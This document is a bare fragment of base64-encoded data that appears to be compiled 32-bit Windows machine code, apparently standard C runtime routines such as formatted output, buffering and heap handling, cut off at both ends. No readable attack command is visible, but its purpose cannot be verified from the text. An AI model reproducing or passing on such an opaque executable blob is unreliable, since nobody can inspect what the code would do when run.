hAXgAQ/zVYYwEQ6M/6//9Z/9CjCFgBEIP4/3RIaBQCAABqAejRGgAAi/BZWYX2dDRW/zUIWAEQ/zVgYwEQ6Jz6//9Z/9CFwHQbagBW6Hn7//9ZWf8VXAABEINOBP+JBjPAQOsH6CT7//8zwF9ew4v/VYvsuP//AACD7BRmOUUIdQaDZfwA62W4AAEAAGY5RQhzGg+3RQiLDZhZARBmiwRBZiNFDA+3wIlF/OtA/3UQjU3s6MHd//+LRez/cBT/cASNRfxQagGNRQhQjUXsagFQ6L9JAACDxByFwHUDIUX8gH34AHQHi0X0g2Bw/Q+3RfwPt00MI8HJw4v/VYvsUbj//wAAZjlFCHUEM8DJw7gAAQAAZjlFCHMWD7dFCIsNmFkBEA+3BEEPt00MI8HJw4M9NGMBEAB1Jf81NFcBEI1F/P81JFcBEFBqAY1FCFBqAWgAWAEQ6DtJAACDxBxqAP91DP91COgF////g8QMycOL/1WL7FFWi3UMVuhjVQAAiUUMi0YMWaiCdRfoSun//8cACQAAAINODCCDyP/pLwEAAKhAdA3oL+n//8cAIgAAAOvjUzPbqAF0FoleBKgQD4SHAAAAi04Ig+D+iQ6JRgyLRgyD4O+DyAKJRgyJXgSJXfypDAEAAHUs6EBTAACDwCA78HQM6DRTAACDwEA78HUN/3UM6MFSAABZhcB1B1bobVIAAFn3RgwIAQAAVw+EgAAAAItGCIs+jUgBiQ6LThgr+Ek7+4lOBH4dV1D/dQzoYVEAAIPEDIlF/OtNg8ggiUYMg8j/63mLTQyD+f90G4P5/nQWi8GD4B+L0cH6BcHgBgMElSB7ARDrBbgYWAEQ9kAEIHQUagJTU1HoykgAACPCg8QQg/j/dCWLRgiKTQiICOsWM/9HV41FCFD/dQzo8lAAAIPEDIlF/Dl9/HQJg04MIIPI/+sIi0UIJf8AAABfW17Jw4v/VYvs9kAMQHQGg3gIAHQaUP91COgnVAAAWVm5//8AAGY7wXUFgw7/XcP/Bl3Di/9Vi+xWi/DrFP91CItFEP9NDOi5////gz7/WXQGg30MAH/mXl3Di/9Vi+z2RwxAU1aL8IvZdDeDfwgAdTGLRQgBBuswD7cD/00IUIvH6H7///9DQ4M+/1l1FOh35///gzgqdRBqP4vH6GP///9Zg30IAH/QXltdw8zMi/9Vi+yB7HQEAAChHFABEDPFiUX8i0UIU4tdFFaLdQxX/3UQM/+Njaj7//+JhdD7//+JneT7//+Jvbj7//+Jvfj7//+JvdT7//+JvfT7//+Jvdz7//+JvcT7//+Jvdj7///oldr//zm90Pv//3Uz6Ojm//9XV1dXxwAWAAAAV+hw5v//g8QUgL20+///AHQKi4Ww+///g2Bw/YPI/+nECgAAO/d0yQ+3FjPJib3g+///ib3s+///ib28+///iZXo+///ZjvXD4SBCgAAagJfA/eDveD7//8AibXA+///D4xpCgAAjULgZoP4WHcPD7fCD76AQBQBEIPgD+sCM8APvoTBYBQBEGoHwfgEWYmFpPv//zvBD4f1CQAA/ySF8G8AEDPAg430+////4mFoPv//4mFxPv//4mF1Pv//4mF3Pv//4mF+Pv//4mF2Pv//+m8CQAAD7fCg+ggdEqD6AN0NoPoCHQlK8d0FYPoAw+FnQkAAION+Pv//wjpkQkAAION+Pv//wTphQkAAION+Pv//wHpeQkAAIGN+Pv//4AAAADpagkAAAm9+Pv//+lfCQAAZoP6KnUsg8MEiZ3k+///i1v8iZ3U+///hdsPjT8JAACDjfj7//8E953U+///6S0JAACLhdT7//9rwAoPt8qNRAjQiYXU+///6RIJAACDpfT7//8A6QYJAABmg/oqdSaDwwSJneT7//+LW/yJnfT7//+F2w+N5ggAAION9Pv////p2ggAAIuF9Pv//2vACg+3yo1ECNCJhfT7///pvwgAAA+3woP4SXRXg/hodEaD+Gx0GIP4dw+FpAgAAIGN+Pv//wAIAADplQgAAGaDPmx1FwP3gY34+///ABAAAIm1wPv//+l4CAAAg434+///EOlsCAAAg434+///IOlgCAAAD7cGZoP4NnUfZoN+AjR1GIPGBIGN+Pv//wCAAACJtcD7///pOAgAAGaD+DN1H2aDfgIydRiDxgSBpfj7////f///ibXA+///6RMIAABmg/hkD4QJCAAAZoP4aQ+E/wcAAGaD+G8PhPUHAABmg/h1D4TrBwAAZoP4eA+E4QcAAGaD+FgPhNcHAACDpaT7//8Ai4XQ+///Uo214Pv//8eF2Pv//wEAAADo+/v//+muBwAAD7fCg/hkD48vAgAAD4TAAgAAg/hTD48bAQAAdH6D6EF0ECvHdFkrx3QIK8cPhe8FAACDwiDHhaD7//8BAAAAiZXo+///g434+///QIO99Pv//wCNtfz7//+4AAIAAIm18Pv//4mF7Pv//w+NkAIAAMeF9Pv//wYAAADp7AIAAPeF+Pv//zAIAAAPhcgAAACDjfj7//8g6bwAAAD3hfj7//8wCAAAdQeDjfj7//8gi730+///g///dQW/////f4PDBPaF+Pv//yCJneT7//+LW/yJnfD7//8PhAgFAACF23ULoSBdARCJhfD7//+Dpez7//8Ai7Xw+///hf8PjiAFAACKBoTAD4QWBQAAjY2o+///D7bAUVDoCNf//1lZhcB0AUZG/4Xs+///Ob3s+///fNDp6wQAAIPoWA+E9wIAACvHD4SUAAAAK8EPhPb+//8rxw+FygQAAA+3A4PDBDP2RvaF+Pv//yCJtdj7//+JneT7//+JhZz7//90QoiFzPv//42FqPv//1CLhaj7///Ghc37//8A/7CsAAAAjYXM+///UI2F/Pv//1DoR1AAAIPEEIXAfQ+JtcT7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///pRgQAAIsDg8MEiZ3k+///hcB0OotIBIXJdDP3hfj7//8ACAAAD78AiY3w+///dBKZK8LHhdj7//8BAAAA6QEEAACDpdj7//8A6fcDAAChIF0BEImF8Pv//1DokzEAAFnp4AMAAIP4cA+P+gEAAA+E4gEAAIP4ZQ+MzgMAAIP4Zw+O6f3//4P4aXRxg/hudCiD+G8PhbIDAAD2hfj7//+Ax4Xo+///CAAAAHRhgY34+///AAIAAOtVizODwwSJneT7///oQU8AAIXAD4QwBQAA9oX4+///IHQMZouF4Pv//2aJBusIi4Xg+///iQbHhcT7//8BAAAA6cEEAACDjfj7//9Ax4Xo+///CgAAAPeF+Pv//wCAAAAPhKsBAACLA4tTBIPDCOnnAQAAdRJmg/pndWPHhfT7//8BAAAA61c5hfT7//9+BomF9Pv//4G99Pv//6MAAAB+PYu99Pv//4HHXQEAAFfomBAAAIuV6Pv//1mJhbz7//+FwHQQiYXw+///ib3s+///i/DrCseF9Pv//6MAAACLA4PDCImFlPv//4tD/ImFmPv//42FqPv//1D/taD7//8PvsL/tfT7//+JneT7//9Q/7Xs+///jYWU+///VlD/NUBdARDoTfD//1n/0Iud+Pv//4PEHIHjgAAAAHQhg730+///AHUYjYWo+///UFb/NUxdARDoHfD//1n/0FlZZoO96Pv//2d1HIXbdRiNhaj7//9QVv81SF0BEOj37///Wf/QWVmAPi11EYGN+Pv//wABAABGibXw+///VukE/v//x4X0+///CAAAAImNuPv//+skg+hzD4Rn/P//K8cPhIr+//+D6AMPhckBAADHhbj7//8nAAAA9oX4+///gMeF6Pv//xAAAAAPhGr+//9qMFhmiYXI+///i4W4+///g8BRZomFyvv//4m93Pv//+lF/v//94X4+///ABAAAA+FRf7//4PDBPaF+Pv//yB0HPaF+Pv//0CJneT7//90Bg+/Q/zrBA+3Q/yZ6xf2hfj7//9Ai0P8dAOZ6wIz0omd5Pv///aF+Pv//0B0G4XSfxd8BIXAcxH32IPSAPfagY34+///AAEAAPeF+Pv//wCQAACL2ov4dQIz24O99Pv//wB9DMeF9Pv//wEAAADrGoOl+Pv///e4AAIAADmF9Pv//34GiYX0+///i8cLw3UGIYXc+///jbX7/f//i4X0+////430+///hcB/BovHC8N0LYuF6Pv//5lSUFNX6J5NAACDwTCD+TmJnZD7//+L+IvafgYDjbj7//+IDk7rvY2F+/3//yvGRveF+Pv//wACAACJhez7//+JtfD7//90WYXAdAeLzoA5MHRO/43w+///i43w+///xgEwQOs2hdt1C6EkXQEQiYXw+///i4Xw+///x4XY+///AQAAAOsJT2aDOAB0BkBAhf918yuF8Pv//9H4iYXs+///g73E+///AA+FZQEAAIuF+Pv//6hAdCupAAEAAHQEai3rDqgBdARqK+sGqAJ0FGogWGaJhcj7///Hhdz7//8BAAAAi53U+///i7Xs+///K94rndz7///2hfj7//8MdRf/tdD7//+NheD7//9TaiDokfX//4PEDP+13Pv//4u90Pv//42F4Pv//42NyPv//+iY9f//9oX4+///CFl0G/aF+Pv//wR1EldTajCNheD7///oT/X//4PEDIO92Pv//wB1dYX2fnGLvfD7//+Jtej7////jej7//+Nhaj7//9Qi4Wo+////7CsAAAAjYWc+///V1Do3UoAAIPEEImFkPv//4XAfin/tZz7//+LhdD7//+NteD7///ouvT//wO9kPv//4O96Pv//wBZf6brHION4Pv////rE4uN8Pv//1aNheD7///o4/T//1mDveD7//8AfCD2hfj7//8EdBf/tdD7//+NheD7//9TaiDolfT//4PEDIO9vPv//wB0E/+1vPv//+hB1v//g6W8+///AFmLtcD7//8PtwaJhej7//9mhcB0KouNpPv//4ud5Pv//4vQ6Zb1///oIdz//8cAFgAAADPAUFBQUFDpMvX//4C9tPv//wB0CouFsPv//4NgcP2LheD7//+LTfxfXjPNW+hpzf//ycONSQC3ZwAQmWUAEMtlABAoZgAQdWYAEIFmABDIZgAQ2GcAEIv/VYvsgex0BAAAoRxQARAzxYlF/FOLXRRWi3UIM8BX/3UQi30MjY20+///ibXE+///iZ3o+///iYWs+///iYX4+///iYXU+///iYX0+///iYXc+///iYWw+///iYXY+///6P3O//+F9nU16FTb///HABYAAAAzwFBQUFBQ6Nra//+DxBSAvcD7//8AdAqLhbz7//+DYHD9g8j/6c8KAAAz9jv+dRLoGdv//1ZWVlbHABYAAABW68UPtw+JteD7//+Jtez7//+Jtcz7//+Jtaj7//+JjeT7//9mO84PhHQKAABqAloD+jm14Pv//4m9oPv//w+MSAoAAI1B4GaD+Fh3Dw+3wQ+2gKAUARCD4A/rAjPAi7XM+///a8AJD7aEMMAUARBqCMHoBF6Jhcz7//87xg+EM////4P4Bw+H3QkAAP8khZB7ABAzwION9Pv///+JhaT7//+JhbD7//+JhdT7//+Jhdz7//+Jhfj7//+Jhdj7///psAkAAA+3wYPoIHRIg+gDdDQrxnQkK8J0FIPoAw+FhgkAAAm1+Pv//+mHCQAAg434+///BOl7CQAAg434+///AelvCQAAgY34+///gAAAAOlgCQAACZX4+///6VUJAABmg/kqdSuLA4PDBImd6Pv//4mF1Pv//4XAD402CQAAg434+///BPed1Pv//+kkCQAAi4XU+///a8AKD7fJjUQI0ImF1Pv//+kJCQAAg6X0+///AOn9CAAAZoP5KnUliwODwwSJnej7//+JhfT7//+FwA+N3ggAAION9Pv////p0ggAAIuF9Pv//2vACg+3yY1ECNCJhfT7///ptwgAAA+3wYP4SXRRg/hodECD+Gx0GIP4dw+FnAgAAIGN+Pv//wAIAADpjQgAAGaDP2x1EQP6gY34+///ABAAAOl2CAAAg434+///EOlqCAAAg434+///IOleCAAAD7cHZoP4NnUZZoN/AjR1EoPHBIGN+Pv//wCAAADpPAgAAGaD+DN1GWaDfwIydRKDxwSBpfj7////f///6R0IAABmg/hkD4QTCAAAZoP4aQ+ECQgAAGaD+G8PhP8HAABmg/h1D4T1BwAAZoP4eA+E6wcAAGaD+FgPhOEHAACDpcz7//8Ai4XE+///UY214Pv//8eF2Pv//wEAAADoUvD//1npuAcAAA+3wYP4ZA+PMAIAAA+EvQIAAIP4Uw+PGwEAAHR+g+hBdBArwnRZK8J0CCvCD4XsBQAAg8Egx4Wk+///AQAAAImN5Pv//4ON+Pv//0CDvfT7//8AjbX8+///uAACAACJtfD7//+Jhez7//8PjY0CAADHhfT7//8GAAAA6ekCAAD3hfj7//8wCAAAD4XJAAAAg434+///IOm9AAAA94X4+///MAgAAHUHg434+///IIu99Pv//4P//3UFv////3+DwwT2hfj7//8giZ3o+///i1v8iZ3w+///D4QFBQAAhdt1C6EgXQEQiYXw+///g6Xs+///AIu18Pv//4X/D44dBQAAigaEwA+EEwUAAI2NtPv//w+2wFFQ6F7L//9ZWYXAdAFGRv+F7Pv//zm97Pv//3zQ6egEAACD6FgPhPACAAArwg+ElQAAAIPoBw+E9f7//yvCD4XGBAAAD7cDg8MEM/ZG9oX4+///IIm12Pv//4md6Pv//4mFnPv//3RCiIXI+///jYW0+///UIuFtPv//8aFyfv//wD/sKwAAACNhcj7//9QjYX8+///UOicRAAAg8QQhcB9D4m1sPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+lCBAAAiwODwwSJnej7//+FwHQ6i0gEhcl0M/eF+Pv//wAIAAAPvwCJjfD7//90EpkrwseF2Pv//wEAAADp/QMAAIOl2Pv//wDp8wMAAKEgXQEQiYXw+///UOjoJQAAWencAwAAg/hwD4/2AQAAD4TeAQAAg/hlD4zKAwAAg/hnD47o/f//g/hpdG2D+G50JIP4bw+FrgMAAPaF+Pv//4CJteT7//90YYGN+Pv//wACAADrVYszg8MEiZ3o+///6JpDAACFwA+EVvr///aF+Pv//yB0DGaLheD7//9miQbrCIuF4Pv//4kGx4Ww+///AQAAAOnBBAAAg434+///QMeF5Pv//woAAAD3hfj7//8AgAAAD4SrAQAAA96LQ/iLU/zp5wEAAHUSZoP5Z3Vjx4X0+///AQAAAOtXOYX0+///fgaJhfT7//+BvfT7//+jAAAAfj2LvfT7//+Bx10BAABX6PEEAABZi43k+///iYWo+///hcB0EImF8Pv//4m97Pv//4vw6wrHhfT7//+jAAAAiwODwwiJhZT7//+LQ/yJhZj7//+NhbT7//9Q/7Wk+///D77B/7X0+///iZ3o+///UP+17Pv//42FlPv//1ZQ/zVAXQEQ6Kbk//9Z/9CLnfj7//+DxByB44AAAAB0IYO99Pv//wB1GI2FtPv//1BW/zVMXQEQ6Hbk//9Z/9BZWWaDveT7//9ndRyF23UYjYW0+///UFb/NUhdARDoUOT//1n/0FlZgD4tdRGBjfj7//8AAQAARom18Pv//1bpCP7//4m19Pv//8eFrPv//wcAAADrJIPocw+Eavz//yvCD4SK/v//g+gDD4XJAQAAx4Ws+///JwAAAPaF+Pv//4DHheT7//8QAAAAD4Rq/v//ajBYZomF0Pv//4uFrPv//4PAUWaJhdL7//+Jldz7///pRf7///eF+Pv//wAQAAAPhUX+//+DwwT2hfj7//8gdBz2hfj7//9AiZ3o+///dAYPv0P86wQPt0P8mesX9oX4+///QItD/HQDmesCM9KJnej7///2hfj7//9AdBuF0n8XfASFwHMR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+j3QQAAg8Ewg/k5iZ2Q+///i/iL2n4GA42s+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dFmFwHQHi86AOTB0Tv+N8Pv//4uN8Pv//8YBMEDrNoXbdQuhJF0BEImF8Pv//4uF8Pv//8eF2Pv//wEAAADrCU9mgzgAdAYDwoX/dfMrhfD7///R+ImF7Pv//4O9sPv//wAPhWUBAACLhfj7//+oQHQrqQABAAB0BGot6w6oAXQEaivrBqgCdBRqIFhmiYXQ+///x4Xc+///AQAAAIud1Pv//4u17Pv//yveK53c+///9oX4+///DHUX/7XE+///jYXg+///U2og6Orp//+DxAz/tdz7//+LvcT7//+NheD7//+NjdD7///o8en///aF+Pv//whZdBv2hfj7//8EdRJXU2owjYXg+///6Kjp//+DxAyDvdj7//8AdXWF9n5xi73w+///ibXk+////43k+///jYW0+///UIuFtPv///+wrAAAAI2FnPv//1dQ6DY/AACDxBCJhZD7//+FwH4p/7Wc+///i4XE+///jbXg+///6BPp//8DvZD7//+DveT7//8AWX+m6xyDjeD7////6xOLjfD7//9WjYXg+///6Dzp//9Zg73g+///AHwg9oX4+///BHQX/7XE+///jYXg+///U2og6O7o//+DxAyDvaj7//8AdBP/taj7///omsr//4OlqPv//wBZi72g+///i53o+///D7cHM/aJheT7//9mO8Z0B4vI6aH1//85tcz7//90DYO9zPv//wcPhVD1//+AvcD7//8AdAqLhbz7//+DYHD9i4Xg+///i038X14zzVvoyMH//8nDi/9gcwAQWHEAEIpxABDlcQAQMXIAED1yABCDcgAQgnMAEIv/VYvsVlcz9v91COi5IAAAi/hZhf91JzkFaGMBEHYfVv8VsAABEI2G6AMAADsFaGMBEHYDg8j/i/CD+P91yovHX15dw4v/VYvsVlcz9moA/3UM/3UI6Io/AACL+IPEDIX/dSc5BWhjARB2H1b/FbAAARCNhugDAAA7BWhjARB2A4PI/4vwg/j/dcOLx19eXcOL/1WL7FZXM/b/dQz/dQjoXkAAAIv4WVmF/3UsOUUMdCc5BWhjARB2H1b/FbAAARCNhugDAAA7BWhjARB2A4PI/4vwg/j/dcGLx19eXcOL/1WL7Fe/6AMAAFf/FbAAARD/dQj/FZQAARCBx+gDAACB/2DqAAB3BIXAdN5fXcOL/1WL7OiwQwAA/3UI6P1BAAD/NRBYARDo/t7//2j/AAAA/9CDxAxdw4v/VYvsaBwDARD/FZQAARCFwHQVaAwDARBQ/xWYAAEQhcB0Bf91CP/QXcOL/1WL7P91CO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